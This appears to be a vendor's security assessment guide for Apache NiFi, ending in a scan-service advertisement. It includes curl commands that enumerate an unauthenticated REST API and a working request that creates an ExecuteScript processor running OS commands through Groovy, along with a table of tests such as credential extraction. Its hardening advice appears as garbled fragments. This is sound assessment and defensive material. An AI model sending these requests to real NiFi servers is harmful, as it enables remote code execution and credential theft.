Apache NiFi is a visual data flow automation platform widely used for ETL, data ingestion, and integration pipelines. It has historically had critical unauthenticated access issues: NiFi's web UI and REST API on port 8080 require no authentication on default deployments — a notable CVE (CVE-2023-34468) allowed unauthenticated RCE via the H2 database connection in the DBCPConnectionPool service; the ExecuteScript processor accepts arbitrary Groovy, Python, or Ruby scripts that run on the NiFi host OS; Controller Services store database connection strings, API keys, and cloud credentials accessible via the NiFi API as property values; the Provenance repository stores a record of all data that has flowed through NiFi, potentially including PII and sensitive payload content; and NiFi clusters use site-to-site protocol that may accept connections without proper certificate validation. This guide covers systematic NiFi security assessment.
# NiFi default ports: 8080 (HTTP), 8443 (HTTPS), 11443 (cluster)
# NiFi REST API at /nifi-api/
# Check NiFi API access (no auth on default deployments)
curl -s http://nifi.example.com:8080/nifi-api/system-diagnostics 2>/dev/null | \
python3 -m json.tool | head -10
# Returns system info if no authentication required
# Get NiFi version
curl -s http://nifi.example.com:8080/nifi-api/flow/about 2>/dev/null | \
python3 -c "
import json,sys
data = json.load(sys.stdin)
about = data.get('about', {})
print(f\"NiFi version: {about.get('version','?')} title: {about.get('title','?')}\")
" 2>/dev/null
# List all process groups (the root canvas)
curl -s "http://nifi.example.com:8080/nifi-api/flow/process-groups/root" 2>/dev/null | \
python3 -c "
import json,sys
data = json.load(sys.stdin)
pg = data.get('processGroupFlow', {}).get('flow', {})
procs = pg.get('processors', [])
conns = pg.get('connections', [])
print(f'Processors: {len(procs)}, Connections: {len(conns)}')
for p in procs[:5]:
comp = p.get('component', {})
print(f\" {comp.get('name','?')} type={comp.get('type','?').split('.')[-1]}\")
" 2>/dev/null# NiFi's ExecuteScript processor accepts arbitrary scripts (Groovy, Python, Ruby, etc.)
# An attacker with API access can create a processor and execute OS commands
# Create an ExecuteScript processor in the root process group
curl -s -X POST "http://nifi.example.com:8080/nifi-api/process-groups/root/processors" \
-H "Content-Type: application/json" \
-d '{
"revision": {"version": 0},
"component": {
"type": "org.apache.nifi.processors.script.ExecuteScript",
"name": "RCE-Test",
"position": {"x": 100, "y": 100},
"config": {
"properties": {
"Script Engine": "Groovy",
"Script Body": "def cmd = [\"id\"].execute()\ncmd.waitFor()\ndef result = cmd.text\ndef flowFile = session.create()\nflowFile = session.write(flowFile, { out -> out.write(result.bytes) } as StreamCallback)\nsession.transfer(flowFile, REL_SUCCESS)"
},
"schedulingPeriod": "1 sec",
"schedulingStrategy": "TIMER_DRIVEN"
}
}
}' 2>/dev/null | python3 -m json.tool | grep -E "(id|name|type)" | head -5nifi.properties restricted components list if they are not requirednifi.sensitive.props.key to a strong random value; never use the default keynifi.provenance.repository.max.storage.size and apply access controls on the provenance API endpoint| Security Test | Method | Risk |
|---|---|---|
| Unauthenticated REST API access | GET /nifi-api/system-diagnostics — returns system info without credentials | Critical |
| ExecuteScript processor enables arbitrary RCE | POST /nifi-api/.../processors with Groovy script — executes OS commands on NiFi host | Critical |
| CVE-2023-34468: H2 JDBC URL RCE | DBCPConnectionPool with crafted H2 URL — RCE without authentication on NiFi ≤1.21.0 | Critical |
| Controller Services expose DB credentials via API | GET /nifi-api/controller-services/{id} — returns property values including passwords | High |
| Provenance data contains payload content | GET /nifi-api/provenance — event records may include FlowFile content with PII | High |
| Sensitive properties key is default or weak | Extract nifi.properties nifi.sensitive.props.key — decrypt stored credentials offline | High |
Ironimo tests Apache NiFi deployments for unauthenticated REST API access exposing all data flow configurations, ExecuteScript processor enabling arbitrary OS command execution, CVE-2023-34468 H2 JDBC URL RCE on unpatched versions, Controller Service credential extraction via the REST API, provenance data access revealing sensitive payload content, and weak sensitive properties encryption key enabling offline credential decryption.
Start free scan